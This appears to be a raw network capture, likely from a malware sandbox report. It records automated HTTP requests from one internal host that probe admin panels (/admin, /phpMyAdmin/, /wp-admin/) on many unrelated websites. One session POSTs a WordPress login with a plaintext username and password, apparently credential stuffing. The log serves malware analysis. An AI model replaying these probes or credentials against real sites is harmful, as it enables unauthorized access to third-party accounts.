2023-12-20 02:13:33 UTC	326	OUT	GET /admin HTTP/1.1 Host: filmboxstudios.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_IyIvktBIPogp4nDEOxWTGdt3Cz7u2Fh30Zet0BY4HV8B2MBRrz1KlBNaALlOEcqmisa7gYStootGRCsjIqcmgg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:33 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.4	63322	23.227.38.74	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	182	OUT	GET /admin.php HTTP/1.1 Host: eco-child.myshopify.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	1369	IN	HTTP/1.1 303 See Other Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Sorting-Hat-PodId: 60 X-Sorting-Hat-ShopId: 7475083 Referrer-Policy: origin-when-cross-origin X-Frame-Options: DENY X-ShopId: 7475083 X-ShardId: 60 Cache-Control: no-store Location: https://eco-child.myshopify.com/admin/auth/login Strict-Transport-Security: max-age=7889238 Server-Timing: processing;dur=25 X-Shopify-Stage: production Content-Security-Policy: default-src 'self' data: blob: 'unsafe-inline' 'unsafe-eval' https://* shopify-pos://; connect-src 'self' wss:// https://; frame-ancestors 'none'; frame-src 'self' https:// shopify-pos://*; img-src 'self' data: blob: https:; script-src https://cdn.shopify.com https://cdn.shopifycdn.net https://checkout.shopifycs.com https://api.stripe.com https://mpsnare.iesnare.com https://appcenter.intuit.com https://www.paypal.com https://js.braintreegateway.com https://c.paypal.com https://maps.googleapis.com https://www.google-analytics.com https://v.shopify.com 'self' 'unsafe-inline' 'unsafe-eval'; upgrade-insecure-requests; report-uri /csp-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=27a26e7b-0ef9-4241-a2de-f33378f7ab54 X-Content-Type-Options: nosniff
2023-12-20 02:13:33 UTC	835	IN	Data Raw: 58 2d 44 6f 77 6e 6c 6f 61 64 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 6f 70 65 6e 0d 0a 58 2d 50 65 72 6d 69 74 74 65 64 2d 43 72 6f 73 73 2d 44 6f 6d 61 69 6e 2d 50 6f 6c 69 63 69 65 73 3a 20 6e 6f 6e 65 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 3b 20 72 65 70 6f 72 74 3d 2f 78 73 73 2d 72 65 70 6f 72 74 3f 73 6f 75 72 63 65 25 35 42 61 63 74 69 6f 6e 25 35 44 3d 69 6e 64 65 78 26 73 6f 75 72 63 65 25 35 42 61 70 70 25 35 44 3d 53 68 6f 70 69 66 79 26 73 6f 75 72 63 65 25 35 42 63 6f 6e 74 72 6f 6c 6c 65 72 25 35 44 3d 61 64 6d 69 6e 25 32 46 68 6f 6d 65 26 73 6f 75 72 63 65 25 35 42 73 65 63 74 69 6f 6e 25 35 44 3d 61 64 6d 69 6e 26 73 6f 75 72 63 65 25 35 42 75 75 69 64 25 35 44 3d 32 37 61 32 36 65 Data Ascii: X-Download-Options: noopenX-Permitted-Cross-Domain-Policies: noneX-XSS-Protection: 1; mode=block; report=/xss-report?source%5Baction%5D=index&source%5Bapp%5D=Shopify&source%5Bcontroller%5D=admin%2Fhome&source%5Bsection%5D=admin&source%5Buuid%5D=27a26e
2023-12-20 02:13:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.4	63197	34.133.154.140	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:34 UTC	780	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 20 Dec 2023 02:13:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 79419 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Link: <https://hildebrandproject.org/wp-json/>; rel="https://api.w.org/" Link: <https://hildebrandproject.org/wp-json/wp/v2/pages/4>; rel="alternate"; type="application/json" Link: <https://hildebrandproject.org/>; rel=shortlink X-TEC-API-VERSION: v1 X-TEC-API-ROOT: https://hildebrandproject.org/wp-json/tribe/events/v1/ X-TEC-API-ORIGIN: https://hildebrandproject.org X-Powered-By: WP Engine X-Cacheable: SHORT Vary: Accept-Encoding,Cookie Cache-Control: max-age=600, must-revalidate Accept-Ranges: bytes X-Cache: HIT: 4 X-Cache-Group: normal
2023-12-20 02:13:34 UTC	15604	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 20 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 2c 20 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6d 61 78 2d 73 6e 69 70 70 65 74 3a 2d 31 2c 20 6d 61 78 2d 76 69 64 65 6f 2d 70 72 65 76 69 65 77 3a 2d 31 27 20 2f 3e 0a 0a 09 3c 21 2d Data Ascii: <!DOCTYPE html><html lang="en-US"><head ><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /><!-
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 64 75 73 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 6f 63 65 61 6e 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 70 61 6c 65 2d 6f 63 65 61 6e 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 2d 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 29 20 21 69 Data Ascii: : var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !i
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 3f 73 3d 7b 73 7d 22 3e 3c 2f 66 6f 72 6d 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 69 74 6c 65 2d 61 72 65 61 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 22 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 2d 6c 6f 67 6f 2d 6c 69 6e 6b 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 3c 69 6d 67 20 77 69 64 74 68 3d 22 36 34 36 22 20 68 65 69 67 68 74 3d 22 31 34 36 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 31 2f 30 38 2f 63 72 6f 70 70 65 64 Data Ascii: ndproject.org/?s={s}"></form></div><div class="title-area"><a href="https://hildebrandproject.org/" class="custom-logo-link" rel="home" aria-current="page"><img width="646" height="146" src="https://hildebrandproject.org/wp-content/uploads/2021/08/cropped
2023-12-20 02:13:34 UTC	16384	IN	Data Raw: 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 33 36 78 31 38 2e 70 6e 67 20 33 36 77 2c 20 68 74 74 70 73 3a 2f 2f 68 69 6c 64 65 62 72 61 6e 64 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 31 30 2f 48 69 6c 64 65 62 72 61 6e 64 5f 52 65 73 69 64 65 6e 63 79 5f 50 69 63 6e 69 63 5f 30 37 5f 31 32 5f 32 30 32 33 5f 30 31 34 32 2d 34 38 78 32 33 2e 70 6e 67 20 34 38 77 22 20 73 69 7a 65 73 3d 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 38 30 30 70 78 29 20 31 30 30 76 77 2c 20 38 30 30 70 78 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 62 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 67 72 69 64 2d 74 65 78 74 22 3e 3c 68 65 61 64 65 72 20 63 6c Data Ascii: y_Picnic_07_12_2023_0142-36x18.png 36w, https://hildebrandproject.org/wp-content/uploads/2023/10/Hildebrand_Residency_Picnic_07_12_2023_0142-48x23.png 48w" sizes="(max-width: 800px) 100vw, 800px" /></a></div><div class="gb-block-post-grid-text"><header cl
2023-12-20 02:13:34 UTC	14663	IN	Data Raw: 63 6c 61 73 73 3d 22 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 20 68 61 73 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 20 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 20 69 73 2d 63 6f 6e 74 65 6e 74 2d 6a 75 73 74 69 66 69 63 61 74 69 6f 6e 2d 63 65 6e 74 65 72 20 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 77 70 2d 63 6f 6e 74 61 69 6e 65 72 2d 36 20 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 2d 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 22 3e 3c 6c 69 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 39 33 30 30 32 37 3b 20 22 20 63 6c 61 73 73 3d 22 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 20 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 69 6e 73 74 61 67 72 61 6d 20 68 61 73 2d 74 68 65 6d 65 2d 70 72 69 6d 61 Data Ascii: class="wp-block-social-links has-icon-color is-style-logos-only is-content-justification-center is-layout-flex wp-container-6 wp-block-social-links-is-layout-flex"><li style="color: #930027; " class="wp-social-link wp-social-link-instagram has-theme-prima

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.4	63011	199.34.228.152	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	202	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip Cookie: is_mobile=0 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:33 UTC	660	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:33 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:33 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:33 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: blu91.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:33 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:33 UTC	3201	IN	Data Raw: 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 Data Ascii: va-light/31AC96_0_0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.4	63292	217.19.254.237	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	407	OUT	POST /wp-login.php HTTP/1.1 Host: www.tgcan.co.uk Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.tgcan.co.uk/wp-login.php?redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&reauth=1 Content-Length: 138 Content-Type: application/x-www-form-urlencoded
2023-12-20 02:13:33 UTC	138	OUT	Data Raw: 6c 6f 67 3d 61 6c 6c 65 6e 2e 73 68 65 66 66 69 65 6c 64 26 70 77 64 3d 64 65 73 66 6f 72 64 6a 31 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 4c 6f 67 2b 49 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=allen.sheffield&pwd=desfordj1&rememberme=forever&wp-submit=Log+In&redirect_to=https%3A%2F%2Fwww.tgcan.co.uk%2Fwp-admin%2F&testcookie=1
2023-12-20 02:13:34 UTC	402	IN	HTTP/1.1 200 OK Cache-Control: no-cache, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.4.2 Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/; secure X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Date: Wed, 20 Dec 2023 02:13:34 GMT Connection: close Content-Length: 8891
2023-12-20 02:13:34 UTC	8891	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: <!DOCTYPE html><html lang="en-GB" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TG Can International — WordPress</title><meta name=

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.4	63270	209.126.24.60	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:33 UTC	309	OUT	GET /wp-admin/ HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=4ff266dda3ee08c47edace8900d173b5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://horsetech.com/wp-login.php
2023-12-20 02:13:34 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=4ff266dda3ee08c47edace8900d173b5; expires=Wed, 20-Dec-2023 03:13:34 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:45 GMT
2023-12-20 02:13:34 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:34 UTC	970	IN	Data Raw: 36 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 6000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:34 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
